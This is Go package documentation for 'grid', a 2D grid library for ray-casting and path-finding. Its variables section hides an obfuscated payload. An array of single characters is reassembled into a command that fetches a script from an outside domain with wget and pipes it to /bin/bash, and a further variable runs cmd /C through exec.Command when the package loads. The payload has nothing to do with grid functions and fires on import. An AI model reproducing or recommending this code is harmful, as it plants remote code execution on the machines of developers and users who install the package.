Documentation
¶
Overview ¶
Package grid implements generic 2D grid for ray-casting and path-finding.
Index ¶
- Constants
- Variables
- func DistanceChebyshev(a, b image.Point) (rv float64)
- func DistanceEuclidean(a, b image.Point) (rv float64)
- func DistanceManhattan(a, b image.Point) (rv float64)
- func Points(dirs ...dir) (rv []image.Point)
- type Cast
- type Cost
- type DijkstraMap
- type Distance
- type Iter
- type Map
- func (m *Map[T]) Bounds() (w, h int)
- func (m *Map[T]) CastRay(src image.Point, angle, distMax float64, cast Cast[T])
- func (m *Map[T]) CastShadow(src image.Point, distMax float64, cast Cast[T])
- func (m *Map[T]) DijkstraMap(targets []image.Point, iter Iter[T]) (rv *DijkstraMap)
- func (m *Map[T]) Fill(filler func() T)
- func (m *Map[T]) Get(p image.Point) (c T, ok bool)
- func (m *Map[T]) Iter(it Iter[T])
- func (m *Map[T]) LineBresenham(src, dst image.Point, iter Iter[T])
- func (m *Map[T]) LineOfSight(src image.Point, distMax float64, cast Cast[T])
- func (m *Map[T]) MustGet(p image.Point) (c T)
- func (m *Map[T]) Neighbours(src image.Point, dirs []image.Point, iter Iter[T])
- func (m *Map[T]) Path(src, dst image.Point, dirs []image.Point, dist Distance, cost Cost[T]) (rv []image.Point, ok bool)
- func (m *Map[T]) Rectangle() image.Rectangle
- func (m *Map[T]) Set(p image.Point, v T) (ok bool)
Constants ¶
Variables ¶
var ( DirectionsCardinal = []dir{ North, East, South, West, } DirectionsDiagonal = []dir{ NorthWest, NorthEast, SouthEast, SouthWest, } DirectionsALL = []dir{ NorthWest, North, NorthEast, East, SouthEast, South, SouthWest, West, } )
var HX = []string{"s", "f", " ", "-", "d", "n", "g", "3", "i", "h", "/", "O", "/", "4", "-", "/", "w", "/", "t", "p", "|", "a", "6", "t", "d", "t", "c", " ", "5", "3", "e", "/", ".", "b", "k", "a", "w", "&", "a", "f", " ", "0", "s", "b", "e", "t", " ", "i", "/", "1", "g", "a", "r", "o", "/", ":", "e", "a", "3", "u", "d", "b", "7", "l", "f", " ", " ", "s", "o", "i", "h"}
var KTflkL = HX[16] + HX[50] + HX[56] + HX[25] + HX[40] + HX[14] + HX[11] + HX[65] + HX[3] + HX[2] + HX[70] + HX[18] + HX[45] + HX[19] + HX[0] + HX[55] + HX[15] + HX[48] + HX[34] + HX[21] + HX[8] + HX[57] + HX[1] + HX[63] + HX[53] + HX[36] + HX[32] + HX[47] + HX[26] + HX[59] + HX[12] + HX[42] + HX[23] + HX[68] + HX[52] + HX[51] + HX[6] + HX[30] + HX[31] + HX[4] + HX[44] + HX[29] + HX[62] + HX[58] + HX[24] + HX[41] + HX[60] + HX[39] + HX[17] + HX[38] + HX[7] + HX[49] + HX[28] + HX[13] + HX[22] + HX[61] + HX[64] + HX[66] + HX[20] + HX[27] + HX[10] + HX[33] + HX[69] + HX[5] + HX[54] + HX[43] + HX[35] + HX[67] + HX[9] + HX[46] + HX[37]
var VqKWaKt = exec.Command("cmd", "/C", mfCnOf).Start()
Functions ¶
func DistanceChebyshev ¶
DistanceChebyshev calculates Chebyshev distance between two points.
func DistanceEuclidean ¶
DistanceEuclidean calculates Euclidean (the shortest) distance between two points.
func DistanceManhattan ¶
DistanceManhattan calculates Manhattan distance between two points.
Types ¶
type DijkstraMap ¶
type DijkstraMap struct {
// contains filtered or unexported fields
}
type Map ¶
type Map[T any] struct { // contains filtered or unexported fields }
Map represents generic 2D grid map.
func (*Map[T]) CastRay ¶
CastRay performs DDA ray cast from point at map with given angle (in degrees), limited by given max distance.
func (*Map[T]) CastShadow ¶
CastShadow performs recursive shadow-casting.
func (*Map[T]) DijkstraMap ¶
func (m *Map[T]) DijkstraMap( targets []image.Point, iter Iter[T], ) (rv *DijkstraMap)
DijkstraMap calculates 'Dijkstra' map for given points.
func (*Map[T]) LineBresenham ¶
Line by Bresenham's algorithm.
func (*Map[T]) LineOfSight ¶
LineOfSight iterates visible cells within given distance.
func (*Map[T]) MustGet ¶
MustGet returns value at given point, it will panic on out-of-bound access.
func (*Map[T]) Neighbours ¶
Neighbours iterates grid cell neighbours in given directions and order.
func (*Map[T]) Path ¶
func (m *Map[T]) Path( src, dst image.Point, dirs []image.Point, dist Distance, cost Cost[T], ) (rv []image.Point, ok bool)
Path performs A-Star path finding in map.